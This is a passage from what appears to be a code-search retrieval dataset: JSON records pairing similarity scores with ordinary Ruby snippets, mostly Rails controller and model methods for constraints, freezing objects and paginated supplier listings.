penalty to the function value is no greater than the constraint tolerance. Larger values will allow the process to terminate with a\n # greater degree of constraint violation.\n @constraint_tolerance = 1e-9\n\n # The gradient tolerance. Each iteration of the minimization process will attempt to reduce the gradient to\n # zero, but since it is unlikely to ever reach zero exactly, it will terminate when the gradient is fractionally less than the\n # gradient tolerance. Larger values allow the process to terminate slightly further from the minimum.\n # If you receive \"MinimumNotFoundException\" errors, increasing this value may help.\n @gradient_tolerance = 1e-6\n\n # The parameter convergence tolerance. The minimization process will be terminated if the approximate fractional\n # change in all parameters is no greater than the parameter tolerance. Larger values allow the process to terminate when the\n # parameters are changing by a larger amount between iterations.\n @parameter_tolerance = 1e-10\n\n # The value convergence tolerance. The minimization process will be terminated if the fractional change in value\n # is no greater than the value tolerance. Larger values allow the process to terminate when the objective value is changing by a\n # larger amount between iterations.\n @value_tolerance = 1e-9\n\n # Internal variables:\n @constraints = []\n @bounds = []\n end",
"title": ""
},
{
"docid": "bdb1247fd9c457f7b1bccfc058f17e15",
"score": "0.50859636",
"text": "def freeze!\n freeze\n each { |slot| slot.freeze! if slot.respond_to?(:freeze!) }\n end",
"title": ""
},
{
"docid": "97b603f2589b3c348cda73762d1c7299",
"score": "0.50783634",
"text": "def add_constraint(constraint, options = {})\n self.constraints.delete_if { |saved_constraint| saved_constraint == constraint }\n self.constraints.push(constraint)\n self.update_attributes(options)\n self.save\n end",
"title": ""
},
{
"docid": "42305acc2eb1d4b6d5616aeb8edff5b3",
"score": "0.507301",
"text": "def prep_constraints(view)\n view.setTranslatesAutoresizingMaskIntoConstraints(false)\n end",
"title": ""
},
{
"docid": "d3353a07f8856908571295bc242d060e",
"score": "0.5071836",
"text": "def constraint_validations; end",
"title": ""
},
{
"docid": "9b7f311d84a8facf70d531c471101b41",
"score": "0.50682837",
"text": "def initialize(*args)\n super\n set_constraint\n assert_valid_constraint\n end",
"title": ""
},
{
"docid": "7016f8b378b268043f171b2d74133b60",
"score": "0.50546914",
"text": "def create\n @mass_constraint = MassConstraint.new(mass_constraint_params)\n\n respond_to do |format|\n if @mass_constraint.save\n format.html { redirect_to @mass_constraint, notice: 'Mass constraint was successfully created.' }\n format.json { render :show, status: :created, location: @mass_constraint }\n else\n format.html { render :new }\n format.json { render json: @mass_constraint.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5a6008cf31b3d1db5dc10695c8fc868a",
"score": "0.5053026",
"text": "def freeze\n each_item(&:freeze)\n super\n end",
"title": ""
},
{
"docid": "f0fa71d33e177368d940551250f38e0f",
"score": "0.5037053",
"text": "def create\n @constraint = Constraint.new(constraint_params)\n\n respond_to do |format|\n if @constraint.save\n format.html { redirect_to @constraint, notice: 'La contrainte a été créée.' }\n format.json { render :show, status: :created, location: @constraint }\n else\n format.html { render :new }\n format.json { render json: @constraint.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "193c5e7cd962e97da4fcda3e39bffc64",
"score": "0.50316566",
"text": "def init_constraints(hash, raw_decl)\n raw_constraints = %i[swiftGenerics swiftExtension].flat_map do |key|\n next [] unless container = hash[key]\n\n container[:constraints] || []\n end\n\n constraints =\n Constraint.new_list_for_symbol(raw_constraints, path_components)\n if raw_decl =~ / where (.*)$/\n constraints +=\n Constraint.new_list_from_declaration(Regexp.last_match[1])\n end\n\n self.constraints = constraints.sort.uniq\n end",
"title": ""
},
{
"docid": "d131463993300ecfa6d0e1b5cffc6e20",
"score": "0.50272095",
"text": "def freeze\n\t\tsuper\n\t\t\n\t\t@rooms.freeze\n\t\t@rooms.each { |room|\n\t\t\troom.events.each { |event| event.freeze }\n\t\t\troom.events.freeze\n\t\t\troom.doors.freeze\n\t\t\troom.freeze\n\t\t}\n\tend",
"title": ""
},
{
"docid": "73f66c6b32d4c006c099f58c02916ebc",
"score": "0.501951",
"text": "def satisfy_all(constraints, versions)\n constraints = Array(constraints).collect do |con|\n con.is_a?(Constraint) ? con : Constraint.new(con)\n end.uniq\n\n versions = Array(versions).collect do |ver|\n ver.is_a?(Version) ? ver : Version.new(ver)\n end.uniq\n\n versions.select do |ver|\n constraints.all? { |constraint| constraint.satisfies?(ver) }\n end\n end",
"title": ""
},
{
"docid": "a46835b0b892b6aaf4035bbe9c2d75de",
"score": "0.5015516",
"text": "def addQConstr; end",
"title": ""
},
{
"docid": "9c2bf83f0f971bf1017f60b4617e144a",
"score": "0.50091875",
"text": "def constraint(*args)\n add_constraint(*args)\n end",
"title": ""
},
{
"docid": "90970b9b2649e9d55386a58bba198b8f",
"score": "0.50026155",
"text": "def freeze\n @dyn.put(\"Zone/#{@zone}\", { \"freeze\" => true })\n end",
"title": ""
},
{
"docid": "c9933b04ecb4fc53701463b822df7deb",
"score": "0.499904",
"text": "def freeze\n @cti_models.freeze\n @cti_tables.freeze\n @cti_instance_dataset.freeze\n @cti_table_columns.freeze\n @cti_table_map.freeze\n\n super\n end",
"title": ""
},
{
"docid": "9b4387abe49baf43a730f06a4caa66c2",
"score": "0.49870571",
"text": "def constraint(name, definition)\n name, defn = coerce_constraint_name(name), coerce_constraint_definition(definition)\n _peek(:constraints)[name] = build_constraint(name, defn)\n end",
"title": ""
},
{
"docid": "eb57b8d3981e9db001485f8d21e7e7b0",
"score": "0.49847978",
"text": "def normalize_constraints\n account_subsets.each do |subset|\n @withdraw_constraints[subset] = normalized_constraint(subset)\n end\n end",
"title": ""
},
{
"docid": "cdf62c77c6197a656973132433c9e8e4",
"score": "0.498414",
"text": "def all_dependency_constraints\n dependency_constraints_rec.values\n end",
"title": ""
},
{
"docid": "56f18486fb48da9f2840a274fb574ae4",
"score": "0.49841067",
"text": "def flexible_dependencies!\n self.flexible_dependencies = true\n self.checked = Set.new\n end",
"title": ""
},
{
"docid": "214b258b3bbc2d29d4c58a28b3d174d1",
"score": "0.49796966",
"text": "def initialize(cells)\n\t\tself.cells = cells\n\n\t\t# Make the reverse link: each cell knows what constraints\n\t\t# applies to it.\n\t\tcells.each do |cell|\n\t\t cell.add_constraint(self)\n\t\tend\n\t end",
"title": ""
},
{
"docid": "484e1bb330215196b54c71434c9e80d1",
"score": "0.4969752",
"text": "def addToGraph\n @v1.addConstraint(self)\n @v2.addConstraint(self)\n @direction = Direction::NONE\n end",
"title": ""
},
{
"docid": "c26e66cae61ab4ab98262313ca733bfc",
"score": "0.4967935",
"text": "def initialize(name)\n @name = name\n @constraints = []\n end",
"title": ""
},
{
"docid": "c26e66cae61ab4ab98262313ca733bfc",
"score": "0.4967935",
"text": "def initialize(name)\n @name = name\n @constraints = []\n end",
"title": ""
},
{
"docid": "df642e1cb12c5f1efa0d4effbaf4bd26",
"score": "0.49444267",
"text": "def create_constraint\n if request.post?\n day_nr = from_dayname_to_id(params[:day])\n t = TemporalConstraint.new(:description=>params[:description],\n :isHard=>0,:startHour=>params[:start_hour],:endHour=>params[:end_hour],:day=>day_nr)\n teacher = Teacher.find(params[:id])\n @constraint = t\n if t.save\n teacher.constraints << t\n @error_unique = !t.is_unique_constraint?(teacher)\n end\n respond_to do |format|\n @teacher = teacher\n format.html { edit_constraints\n render :action => \"edit_constraints\"\n }\n format.js{}\n end\n end\n end",
"title": ""
},
{
"docid": "6f41ff14e44553ccfa08f3c0802d947f",
"score": "0.4944057",
"text": "def freeze!\n @frozen = true\n end",
"title": ""
},
{
"docid": "06c8e64504de5a1bb4c916a9e180ad6c",
"score": "0.49378207",
"text": "def wait_for_constraint_update(xml, constraint, scope = 'constraints')\n message = \"Waiting #{max_wait_time} seconds for the constraint '#{constraint}' to be updated\"\n debug message\n retry_block do\n # replace action is already idempotent\n cibadmin_replace xml, scope\n end\n message = \"Constraint '#{constraint}' was updated\"\n debug message\n end",
"title": ""
},
{
"docid": "f534dc13b5a91ccafc983c64f4d4fda6",
"score": "0.49335456",
"text": "def parse_constraint_validations\n db.extension(:_model_constraint_validations)\n\n unless hash = Sequel.synchronize{db.constraint_validations}\n hash = {}\n db.from(constraint_validations_table).each do |r|\n (hash[r[:table]] ||= []) << r\n end\n Sequel.synchronize{db.constraint_validations = hash}\n end\n\n if @dataset\n ds = @dataset.with_quote_identifiers(false)\n table_name = ds.literal(ds.first_source_table)\n reflections = {}\n allow_missing_columns = db_schema.select{|col, sch| sch[:allow_null] == false && nil != sch[:default]}.map(&:first)\n @constraint_validations = (Sequel.synchronize{hash[table_name]} || []).map{|r| constraint_validation_array(r, reflections, allow_missing_columns)}\n @constraint_validation_reflections = reflections\n end\n end",
"title": ""
},
{
"docid": "376d381687172e567af6ca41b8e4c317",
"score": "0.4933259",
"text": "def to_constraint\n @to_constraint ||=\n Cabar::Constraint.create(:name => name,\n :version => version,\n :component_type => component_type\n )\n end",
"title": ""
},
{
"docid": "15140b955969aafde1c96a72f15d1735",
"score": "0.49310672",
"text": "def constraint\n @constraint ||= Constraint.new(self)\n end",
"title": ""
},
{
"docid": "649a36e30b42a1c1e6f3e4eecaa6ba58",
"score": "0.49197534",
"text": "def to_constraint\n @constraint ||=\n begin\n # Get constraint options.\n opts = { }\n opts[:name] = name\n opts[:version] = version if version\n opts[:component_type] = component_type if component_type\n opts[:_by] = component\n\n Cabar::Constraint.create opts\n end\n end",
"title": ""
},
{
"docid": "940671bb7fd929fcb54802cd4584150a",
"score": "0.49197352",
"text": "def bind_jobs\n @deployment_plan.releases.each do |release|\n release.bind_jobs\n end\n\n @deployment_plan.instance_groups.each(&:validate_package_names_do_not_collide!)\n @deployment_plan.instance_groups.each(&:validate_exported_from_matches_stemcell!)\n end",
"title": ""
},
{
"docid": "69811d7174f79e7f7ff97e5d61ce0f95",
"score": "0.49186745",
"text": "def import_constraints(constraints_path)\n # FIXME\n end",
"title": ""
},
{
"docid": "fada319569ddd608a0c854b195de9d65",
"score": "0.49110225",
"text": "def allocateInit()\n @allocatedList.clear() ;\n @cancelledList.clear() ;\n end",
"title": ""
},
{
"docid": "01d710bb771864d2e6950e3213ea834e",
"score": "0.49042085",
"text": "def find_constraints(transition)\n @net.find_all_places_by_target_id(transition.id).each_with_object([]) do |place, constraints|\n prev_transitions = @net.find_all_transitions_by_target_id(place.id)\n constraint_transitions = prev_transitions.select{|t| Perspective.constraint_transition?(@env, t)}\n\n case constraint_transitions.size\n when 0\n # ignore\n when 1\n if Perspective.expr_place?(@env, place)\n constraints << Constraint.new(place.name)\n else\n # the place should be constraint expression\n raise CompilerError.should_be_constraint_expr(place)\n end\n else\n # multiple constraint keywords found\n raise CompilerError.multiple_constraint_keywords(transition.name)\n end\n end\n end",
"title": ""
}
] |
a904fd23d3a0c9f3b6e5cce3810c3040
|
Display list of suppliers (10 per page)
|
[
{
"docid": "c2433e6b44fd08601429059332c7a03a",
"score": "0.60119116",
"text": "def index\n p \"Requesting supply chains\"\n page_number = params[:page] ? params[:page].to_i : 1\n supplychain_offset = PER_PAGE * (page_number - 1)\n @supplychains = SupplyChain.all\n @next_page = page_number + 1 if @supplychains.count == PER_PAGE\n end",
"title": ""
}
] |
[
{
"docid": "87f1b59075af355c8277c563fe8f8708",
"score": "0.79667574",
"text": "def index\n @suppliers = Supplier.all.paginate(page: params[:page], per_page: 8)\n end",
"title": ""
},
{
"docid": "d376076fdc8fe54d58f904417a47799b",
"score": "0.7858304",
"text": "def index\n p \"Requesting suppliers\"\n page_number = params[:page] ? params[:page].to_i : 1\n supplier_offset = PER_PAGE * (page_number - 1)\n @suppliers = Supplier.all\n @next_page = page_number + 1 if @suppliers.count == PER_PAGE\n end",
"title": ""
},
{
"docid": "9085729711d3717b883506185dec2658",
"score": "0.7779786",
"text": "def index\n @suppliers = Supplier.page params[:page]\n end",
"title": ""
},
{
"docid": "07fa00f522a6e90ddd8c8307420369a0",
"score": "0.73726344",
"text": "def index\n @suppliers = Spree::Supplier::all\n end",
"title": ""
},
{
"docid": "583fe6052621a27b925f0b43238001f6",
"score": "0.73290074",
"text": "def index\n @filter = SupplierFilter.new(filter_params)\n @suppliers = @filter.call.page(params[:page])\n end",
"title": ""
},
{
"docid": "d2e13d906bec65d21bb820dad3d1ad35",
"score": "0.7236893",
"text": "def index\n @suppliers = Supplier.all\n end",
"title": ""
},
{
"docid": "d2e13d906bec65d21bb820dad3d1ad35",
"score": "0.7236893",
"text": "def index\n @suppliers = Supplier.all\n end",
"title": ""
},
{
"docid": "d2e13d906bec65d21bb820dad3d1ad35",
"score": "0.7236893",
"text": "def index\n @suppliers = Supplier.all\n end",
"title": ""
},
{
"docid": "d2e13d906bec65d21bb820dad3d1ad35",
"score": "0.7236893",
"text": "def index\n @suppliers = Supplier.all\n end",
"title": ""
},
{
"docid": "91677ceddbb8fa2624328cec72a10169",
"score": "0.7147165",
"text": "def index\n @suppliers = Spree::Supplier.active\n end",
"title": ""
},
{
"docid": "b5d37f546756e9a6fc247f317c58898b",
"score": "0.7050395",
"text": "def index\n @catalogs_suppliers = Catalogs::Supplier.all\n end",
"title": ""
},
{
"docid": "b27347bcfbc9dd1c66b9c4ab37a88529",
"score": "0.69961184",
"text": "def list_suppliers\n @company = Company.find(params[:company_id])\n\n @id = params[:id]\n \n @pagetitle = \"#{@company.name} - Suppliers\"\n \n if(@company.can_view(current_user))\n\n if @id == \"1\" \n\n puts \"list suppliers ************************ \"\n \n puts @id \n\n if(params[:search] and params[:search] != \"\") \n \n @suppliers = Supplier.where([\"company_id = ? and (ruc LIKE ? OR name LIKE ?) and tipo1 <> ? \", @company.id,\"%\" + params[:search] + \"%\", \"%\" + params[:search] + \"%\" , \"4\"]).order('name').paginate(:page => params[:page]) \n else\n\n @suppliers = Supplier.where(\"company_id = ? and tipo1 <> ? \",@company.id , \"4\" ).order('name').paginate(:page => params[:page])\n end\n\n\n else \n\n if(params[:search] and params[:search] != \"\") \n \n @suppliers = Supplier.where([\"company_id = ? and (ruc LIKE ? OR name LIKE ?) \", @company.id,\"%\" + params[:search] + \"%\", \"%\" + params[:search] + \"%\" ]).order('name').paginate(:page => params[:page]) \n else\n\n @suppliers = Supplier.where(company_id: @company.id).order('name').paginate(:page => params[:page])\n end\n\n end \n\n else\n errPerms()\n end\n end",
"title": ""
},
{
"docid": "9464c0b3721dcb0426e67e6ad22a46a3",
"score": "0.6993652",
"text": "def index\n @supplier_setups = SupplierSetup.all.paginate(page: params[:page], per_page: 15)\n end",
"title": ""
},
{
"docid": "2763d6315977ef67c6a54a8a243dc606",
"score": "0.6937983",
"text": "def index\n if params[:search]\n @suppliers = Supplier.where('LOWER(supplier_name) LIKE ?', \"%#{params[:search].downcase}%\").paginate(page: params[:page], per_page: 30)\n else\n @suppliers = Supplier.order('supplier_name ASC').paginate(page: params[:page], per_page: 30)\n end\n end",
"title": ""
},
{
"docid": "4d20815d144cd46f5f570c143e4f3da3",
"score": "0.68676627",
"text": "def index\n @power_supplies = PowerSupply.paginate(page: params[:page], per_page: 4)\n end",
"title": ""
},
{
"docid": "986f562624986ac3d08019371515475c",
"score": "0.6852665",
"text": "def index\n type_id = params[:type_id]\n number_id = params[:number_id]\n @suppliers = Supplier.current.paginate(:page => params[:page], per_page: 10)\n\n if !type_id.blank? && !number_id.blank?\n @suppliers = @suppliers.with_similar_type_and_number_id type_id, number_id\n end\n\n render json: { suppliers: @suppliers, total_pages: @suppliers.total_pages, current_page: @suppliers.current_page }\n end",
"title": ""
},
{
"docid": "e15136e4525932eadcbae62dfcc4d0f5",
"score": "0.68160194",
"text": "def suppliers_list\n render json: current_company.suppliers.search(params[:term]).as_json(methods: :label, only: [:id, :label])\n end",
"title": ""
},
{
"docid": "e644662199862af7913ff5c9e6668a00",
"score": "0.6808829",
"text": "def index\n @suppliers = Supplier.all(:order => :name)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @suppliers }\n end\n end",
"title": ""
},
{
"docid": "685173153365b07b5e069c38b78a1892",
"score": "0.67865324",
"text": "def index\n @supplies = Supply.all\n end",
"title": ""
},
{
"docid": "685173153365b07b5e069c38b78a1892",
"score": "0.67865324",
"text": "def index\n @supplies = Supply.all\n end",
"title": ""
},
{
"docid": "3bb8af4ca5a29d496dbd26d580b4cbb9",
"score": "0.66563123",
"text": "def index\n # reset_session\n @suppliers = Supplier.all\n end",
"title": ""
},
{
"docid": "fe34c11d82ff41f311c5db99af65993e",
"score": "0.6629273",
"text": "def index\n @q = Supplier.search(params[:q])\n @supplier_scope = @q.result(:distinct => true)\n @suppliers = @supplier_scope.paginate(:page => params[:page], :per_page => 20).to_a\n end",
"title": ""
},
{
"docid": "25456ee89a8985de99c49f195bf49fed",
"score": "0.6627531",
"text": "def show\n @breadcrumb = 'read'\n @supplier = Supplier.find(params[:id])\n @contacts = @supplier.supplier_contacts.paginate(:page => params[:page], :per_page => per_page).order(:last_name, :first_name)\n @prices = @supplier.purchase_prices.paginate(:page => params[:page], :per_page => per_page).order(:product_id)\n @accounts = @supplier.supplier_bank_accounts.paginate(:page => params[:page], :per_page => per_page).order(:id)\n @ledger_accounts = @supplier.supplier_ledger_accounts.paginate(:page => params[:page], :per_page => per_page).order(:id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @supplier }\n end\n end",
"title": ""
},
{
"docid": "31fbadbdbdf6295efd98f51b2fca1782",
"score": "0.662513",
"text": "def providers\n @providers = Provider.order('lName').all\n render \"providers/index\"\n end",
"title": ""
},
{
"docid": "39bc1a489edcf2f46a48d0fc73da6943",
"score": "0.66078776",
"text": "def index\n name = params[:vname] || ''\n @tqrdc_suppliers = Tqrdc::Supplier\n .where(\"vname like '%#{name}%' \")\n .order(:vname).page params[:page]\n end",
"title": ""
},
{
"docid": "81da50e50e028d577be85f525b9c815c",
"score": "0.6579972",
"text": "def index\n @invoice_suppliers = InvoiceSupplier.all\n end",
"title": ""
},
{
"docid": "8659cf0485651e19012a64cdfe753c48",
"score": "0.6550615",
"text": "def index\n @suppliers = Supplier.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @suppliers }\n end\n end",
"title": ""
},
{
"docid": "eff8b6edc250dc4512878e1130e102df",
"score": "0.6531118",
"text": "def show\n @company = Company.find(1)\n @supplier = Supplier.find(params[:id])\n @pagetitle = \"Suppliers - #{@supplier.name}\"\n @bancos = @company.get_banks()\n @supplier_detail = @supplier.supplier_details\n @tipoproveedor =@company.get_tipoproveedor()\n end",
"title": ""
},
{
"docid": "fd6ba67496c5111c1ef0770e24e77cec",
"score": "0.6529487",
"text": "def index\n @sellers = Seller.order(:name).page params[:page]\n end",
"title": ""
},
{
"docid": "a5e6830a8164d8110a526056f5426bc6",
"score": "0.65067476",
"text": "def index\n @providers = Provider.all.paginate(page: params[:page], per_page: 7 )\n end",
"title": ""
},
{
"docid": "155950579f462a03348f385bf4578ab1",
"score": "0.6497643",
"text": "def index\n @q = Supplier::Product.where(provider_id: current_user.id).ransack(params[:q])\n @supplier_products = @q.result.includes(:brand, :skus).page(params[:page]).per(15)\n end",
"title": ""
},
{
"docid": "a2e114db29b195f64f902d68983815f4",
"score": "0.64580375",
"text": "def index\n @supplier_details = SupplierDetail.all\n end",
"title": ""
},
{
"docid": "e268add5e9063a510bfe77b176c2569f",
"score": "0.64537436",
"text": "def index\n @supplies_neededs = SuppliesNeeded.all\n end",
"title": ""
},
{
"docid": "0d4b5e835fb2a0ebaba19ac1a8f8fd93",
"score": "0.64531577",
"text": "def index\n @tsupplierproducts = Tsupplierproduct.all\n end",
"title": ""
},
{
"docid": "e392d329f1158ca1d48a4048695a1aa4",
"score": "0.64380914",
"text": "def index\n @providers = Provider.by_name.page(params[:page])\n end",
"title": ""
},
{
"docid": "74e1219f6e60c26586c9f8f53e42e411",
"score": "0.6399779",
"text": "def index\n @water_suppliers = WaterSupplier.all\n end",
"title": ""
},
{
"docid": "310f9646161d670e0bdc7f67ec5def88",
"score": "0.6389616",
"text": "def index\n @supplements = Supplement.all\n end",
"title": ""
},
{
"docid": "310f9646161d670e0bdc7f67ec5def88",
"score": "0.6389616",
"text": "def index\n @supplements = Supplement.all\n end",
"title": ""
},
{
"docid": "310f9646161d670e0bdc7f67ec5def88",
"score": "0.6389616",
"text": "def index\n @supplements = Supplement.all\n end",
"title": ""
},
{
"docid": "44e98ba3c00e59b05b9e9bc3be56dbfe",
"score": "0.6388571",
"text": "def index\n @suppliers = Supplier.order(:name).pagination(params[:page])\n @cities = City.order(:name)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @suppliers }\n format.js\n end\n end",
"title": ""
},
{
"docid": "b8c3bd76fd30f2887efc0530588ce566",
"score": "0.63813704",
"text": "def index\n @suppliers = Supplier.all\n @supplierfiles = SuppierFile.all\n end",
"title": ""
},
{
"docid": "75a1295d791f3a99b4287da9f96e4a1e",
"score": "0.636319",
"text": "def index\n @supplier_responsibles = SupplierResponsible.all\n end",
"title": ""
},
{
"docid": "3679a1c9516a74aa05d5f3a102f6fd50",
"score": "0.634793",
"text": "def index\n @goods_catalogs = GoodsCatalog.page(params[:page]).per(10)\n end",
"title": ""
},
{
"docid": "d589f59b0d4acb8f7b8229fbe6bad476",
"score": "0.63454723",
"text": "def list\n\t\t@spensions = Spension.paginate :page => params[:page], :per_page => 10\t\n\n\t\trespond_to do |format|\n\t \t\t format.html # list.html.erb\n\t \t\t\tformat.xml { render :xml => @spensions }\t#Render to XML Files\n\t\tend\n\tend",
"title": ""
},
{
"docid": "6e315b9aade1525c2f0eaf5789001293",
"score": "0.630935",
"text": "def index\n manage_filter_state\n letter = params[:letter]\n if !session[:organization]\n init_oco\n end\n\n @search = Supplier.search do\n fulltext params[:search]\n if session[:organization] != '0'\n with :organization_id, session[:organization]\n end\n if !letter.blank? && letter != \"%\"\n with(:name).starting_with(letter)\n end\n order_by :supplier_code, :asc\n paginate :page => params[:page] || 1, :per_page => per_page\n end\n @suppliers = @search.results\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @suppliers }\n format.js\n end\n end",
"title": ""
},
{
"docid": "83a7583df30fc8184616ec17a26fe7e6",
"score": "0.6296478",
"text": "def index\n @providers = current_user.providers.paginate(:page => params[:page], :per_page => 10)\n end",
"title": ""
},
{
"docid": "7221a6644afbc85c7b06c22d6d5fff0d",
"score": "0.62724584",
"text": "def show\n @supplier = Supplier.find(params[:id])\n\n @products = @supplier.products.order(:name).paginate(:per_page => 10, :page => params[:page])\n\n @store_cust_group = CustomerGroup.find_by_name(\"Bakul/Toko\")\n @workshop_cust_group = CustomerGroup.find_by_name(\"Bengkel/Montir\")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @supplier }\n format.js\n end\n end",
"title": ""
},
{
"docid": "3cb9804b7fba41bf5a28f9fea4b6f3ba",
"score": "0.6229414",
"text": "def index\n @supply_lists = SupplyList.all\n end",
"title": ""
},
{
"docid": "2d7111fdf36ee2a59060f6ab3f72610a",
"score": "0.6223181",
"text": "def index\n @supplier_accounts = SupplierAccount.all\n end",
"title": ""
},
{
"docid": "5e600350911bffa4584eac745dbec0d6",
"score": "0.62159246",
"text": "def index\n @pagination = nil\n\n build do\n message 'Список поставщиков'\n producers current_user.sellers\n view 'member/producers/index'\n path member_producers_path\n @producers = paginate @producers\n end\n end",
"title": ""
},
{
"docid": "2ce111b8f56a65b336f62c364023d67f",
"score": "0.6211146",
"text": "def providers\n @page_title = _('Terminator_providers')\n @page_icon = \"provider.png\"\n if current_user.usertype == 'reseller'\n @assigned = Provider.find(:all, :conditions => [\"providers.terminator_id = ? AND (providers.user_id = ? OR (providers.common_use = 1 AND id IN (SELECT provider_id FROM common_use_providers where reseller_id = #{current_user.id})))\", @terminator.id, current_user.id], :order => \"name ASC\")\n @not_assigned = Provider.find(:all, :conditions => [\"providers.terminator_id = 0 AND (providers.user_id = ? OR (providers.common_use = 1 AND id IN (SELECT provider_id FROM common_use_providers where reseller_id = #{current_user.id})))\", current_user.id], :order => \"name ASC\")\n else\n @assigned = Provider.find(:all, :conditions => [\"providers.terminator_id = ? AND (providers.user_id = ? OR providers.common_use = 1)\", @terminator.id, current_user.id], :order => \"name ASC\")\n @not_assigned = Provider.find(:all, :conditions => [\"providers.terminator_id = 0 AND (providers.user_id = ? OR providers.common_use = 1)\", current_user.id], :order => \"name ASC\")\n end\n end",
"title": ""
},
{
"docid": "08ebcce81c5fad07fedd3f426c5df885",
"score": "0.62054473",
"text": "def index\n @species = Species.paginate(page: params[:page], per_page: 10).order('scientific_name ASC')\n end",
"title": ""
},
{
"docid": "97a575ef93d154b406ca74f9817b432d",
"score": "0.6199854",
"text": "def show\n @breadcrumb = 'read'\n @payment_method = PaymentMethod.find(params[:id])\n @suppliers = @payment_method.suppliers.paginate(:page => params[:page], :per_page => per_page).order('supplier_code')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @payment_method }\n end\n end",
"title": ""
},
{
"docid": "1d740d16667b7eb6f8c8ba820b52880f",
"score": "0.6184288",
"text": "def show\n\t\t@supplier = Supplier.find(params[:id])\n\t\t@parts = @supplier.parts.paginate(:page => params[:page])\n\t\t \n\t\trespond_to do |format|\n\t\tformat.html # show.html.erb\n\t\tformat.json { render json: @supplier }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "5008bc500aad9b1b479fcfbb8fc74cb7",
"score": "0.617826",
"text": "def landing_page\r\n @products = Product.limit(3)\r\n end",
"title": ""
},
{
"docid": "9442c3f10d2932f6f82f2983b9187085",
"score": "0.61766195",
"text": "def index\n @supplier_types = SupplierType.all\n end",
"title": ""
},
{
"docid": "528b5d628773428a02eabc77bc27df0e",
"score": "0.61737067",
"text": "def collection\n params[:per_page] ||= 100\n @searcher = Spree::Config.searcher_class.new(params)\n @collection = @searcher.retrieve_products\n end",
"title": ""
},
{
"docid": "18967befe62971f323e4c8bfef41966a",
"score": "0.61701083",
"text": "def index\n @suppliers = Supplier.all\n super\n flash.discard(:notice)\n end",
"title": ""
},
{
"docid": "251718f01c84cb4916235d4f8294f549",
"score": "0.6169553",
"text": "def index\n @insurers = Insurer.paginate(:page => params[:page], :per_page => 10)\n end",
"title": ""
},
{
"docid": "fc7b4f432ce0afa220096b794ebbdf5e",
"score": "0.6127593",
"text": "def index\n @processor_coolers = ProcessorCooler.paginate(page: params[:page], per_page: 4)\n end",
"title": ""
},
{
"docid": "548dd4174312a7338230f242341adb99",
"score": "0.612701",
"text": "def index\n @providers = apply_scopes(Provider).page(params.fetch(:page, 1))\n .per(params.fetch(:per_page, 20))\n end",
"title": ""
},
{
"docid": "ef6380324fb0683da44ab2c0c2855d26",
"score": "0.61139184",
"text": "def index\n @supplementaries = Supplementary.all\n end",
"title": ""
},
{
"docid": "324fc0d21f6ff5e9d8baf311ab39a40a",
"score": "0.6097254",
"text": "def index\n # show the suppliers for a product\n flash[:notice] = \"Product has (#{@suppliers.size}) suppliers.\"\n respond_to do |format|\n format.html # index.html\n format.xml { render :xml => @suppliers }\n end\n end",
"title": ""
},
{
"docid": "7fd0309da1e6e09ff4193a95bbeef296",
"score": "0.6092525",
"text": "def supplier_index\n if @filter\n @location_phrase = @filter.geography.long_name\n\n tag = Tag.find(@filter.has_tag_id)\n @tags_short = tag.readable\n @tags_long = tag.note\n\n @visibles, @supplier_count = Supplier.visible_profiles_sorted(@filter)\n @adjacencies = @filter.adjacencies\n end\n\n render \"supplier_index\", layout: \"old_layout\"\n end",
"title": ""
},
{
"docid": "a0da58ae2891e2e3ff37e6a1c8c236e8",
"score": "0.6088576",
"text": "def list_products_kits\n @company = Company.find(params[:company_id])\n @pagetitle = \"#{@company.name} - Product kits\"\n \n if(@company.can_view(getUser()))\n @products_kits = ProductsKit.paginate(:page => params[:page], :order => 'name', :conditions => {:company_id => @company.id})\n else\n errPerms()\n end\n end",
"title": ""
},
{
"docid": "8a235b8246774a5b120a7a3fba7a08db",
"score": "0.606233",
"text": "def index\n @supplements = Supplement.includes(:conference).order(params_to_sql('>conferences.start_date'))\n\n @supplements = @supplements.page(param_context(:page)).per(param_context(:per))\n repaginate_if_needed(@supplements)\n end",
"title": ""
},
{
"docid": "b7ce94a878290d5de856454334450279",
"score": "0.60603297",
"text": "def index\n @supplieraccounts = Supplieraccount.all\n end",
"title": ""
},
{
"docid": "60fe52d2375ede16babaa488ca4d4e45",
"score": "0.6051284",
"text": "def index\n @add_to_invoice_suppliers = AddToInvoiceSupplier.all\n end",
"title": ""
},
{
"docid": "1e9d06c9cabb184931c3cca11e2b3c14",
"score": "0.6041675",
"text": "def generate_puppet_provider_list\n @items = Registry.all(:puppet_provider).sort_by { |p| p.name.to_s }\n @list_title = 'Provider List'\n @list_type = 'puppet_provider'\n generate_list_contents\nend",
"title": ""
},
{
"docid": "7b64c77534c02e9de50ce850d74a255f",
"score": "0.6007305",
"text": "def index\n @sellers = current_user.sellers.order('id desc').paginate(page: params[:page])\n end",
"title": ""
},
{
"docid": "bc7734d4bea92a6669b8d3057842b04f",
"score": "0.6003088",
"text": "def index\n @products = @supply.products\n #@products = Product.all\n end",
"title": ""
},
{
"docid": "4d5abbe1deac4f578f0781ddb9e5a575",
"score": "0.59949493",
"text": "def index\n @pagetitle = \"Suppliers\"\n \n @path = 'suppliers'\n\n @customercsv = Supplier.all \n respond_to do |format|\n format.html\n format.csv { send_data @customercsv.to_csv }\n \n end\n end",
"title": ""
},
{
"docid": "615170e2a4343795f07030dadcc4bb60",
"score": "0.59807044",
"text": "def index\n @title = t('view.providers.index_title')\n @searchable = true\n @providers = Provider.filtered_list(params[:q]).order('firm_name DESC').\n page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @providers }\n end\n end",
"title": ""
},
{
"docid": "b2d7384b56b6071f5b9b9661ae83ca31",
"score": "0.5977483",
"text": "def listresellers\n \n end",
"title": ""
},
{
"docid": "60d85f8d2e83d6f7e5f7a898df2d3e79",
"score": "0.5956224",
